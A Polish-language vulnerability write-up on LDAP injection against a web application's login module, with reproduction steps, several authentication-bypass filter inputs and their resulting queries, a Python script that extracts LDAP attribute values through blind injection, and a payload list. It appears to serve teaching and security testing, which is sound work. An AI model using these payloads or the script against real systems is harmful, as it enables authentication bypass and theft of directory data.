Wstrzyknięcie LDAP

May 03 2023
Krytyczna luka w zabezpieczeniach narażająca aplikację na ataki LDAP Injection
Podsumowanie: ta luka w zabezpieczeniach może spowodować wyciek danych, nieautoryzowany dostęp i inne poważne problemy z bezpieczeństwem. Aby chronić dane użytkownika i integralność systemu, zdecydowanie zalecamy natychmiastowe zwrócenie uwagi na ten problem i rozwiązanie go.
Zaprojektowany przez Autora

Streszczenie:

Luka ta może potencjalnie spowodować wyciek danych, nieautoryzowany dostęp i inne poważne problemy z bezpieczeństwem. Aby chronić dane użytkownika i integralność systemu, zdecydowanie zalecamy natychmiastowe zwrócenie uwagi na ten problem i rozwiązanie go.

Szczegóły luki w zabezpieczeniach:

Wstrzykiwanie LDAP (Lightweight Directory Access Protocol) to technika wstrzykiwania kodu, która ma miejsce, gdy dane wejściowe niezaufanego użytkownika są bezpośrednio uwzględniane w zapytaniu LDAP bez odpowiedniej sanityzacji lub sprawdzania poprawności.

Aplikacja docelowa nie mogła odpowiednio zweryfikować danych wejściowych wprowadzonych przez użytkownika, co doprowadziło do potencjalnej luki w zabezpieczeniach związanej z iniekcją LDAP.

Osoba atakująca może wykorzystać tę słabość do zmiany zapytań LDAP, uniknięcia kontroli uwierzytelniania, uzyskania nieautoryzowanego dostępu do poufnych danych lub przeprowadzenia szkodliwych działań.

Składnik, którego dotyczy problem:

Luka umożliwiająca wstrzyknięcie LDAP wpływa na moduł uwierzytelniania aplikacji internetowej, a konkretnie na kod odpowiedzialny za przetwarzanie danych uwierzytelniających użytkownika i uwierzytelnianie na serwerze LDAP.

Kroki ku reprodukcji:

  1. Zidentyfikuj pole w aplikacji, które współdziała z zapytaniami LDAP.
  2. Twórz złośliwe dane wejściowe zawierające metaznaki LDAP, takie jak nawiasy, gwiazdki lub ukośniki odwrotne.
  3. Prześlij dane wejściowe i obserwuj odpowiedź z aplikacji.
  4. Zwróć uwagę na wszelkie nieoczekiwane zachowania, komunikaty o błędach lub nietypowe pobieranie danych.
  1. Aplikacja umożliwia użytkownikowi zalogowanie się przy użyciu nazwy użytkownika i hasła.
  2. Aplikacja konstruuje zapytanie LDAP przy użyciu podanej nazwy użytkownika bez odpowiedniego sprawdzania poprawności danych wejściowych.
  3. Atakujący wprowadza następujące dane w polu nazwy użytkownika: „)(cn=))(|(uid=))(|(objectClass=*”
  4. Wynikowe zapytanie LDAP ma postać: „(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[podane hasło])”
  5. Atakujący uzyskuje nieautoryzowany dostęp i potencjalnie odzyskuje poufne informacje lub wykonuje inne złośliwe działania.

user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Obiekty LDAP domyślnie udostępniają różne właściwości, których można użyć do zachowania danych. Możesz spróbować brutalnie zmusić ich wszystkich, aby uzyskać te informacje. Tutaj znajduje się lista domyślnych atrybutów LDAP.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Uderzenie:

Osoba atakująca może wykorzystać tę lukę, aby zmienić format zapytania LDAP i wydać dowolne polecenia LDAP.

Konsekwencje mogą obejmować nieautoryzowany dostęp do danych prywatnych, manipulację danymi, a nawet zdalne wykonanie kodu, w zależności od uprawnień przypisanych do konta usługi LDAP.

Skuteczne wykorzystanie tej luki może poważnie zagrozić bezpieczeństwu i prywatności docelowej aplikacji.

Świergot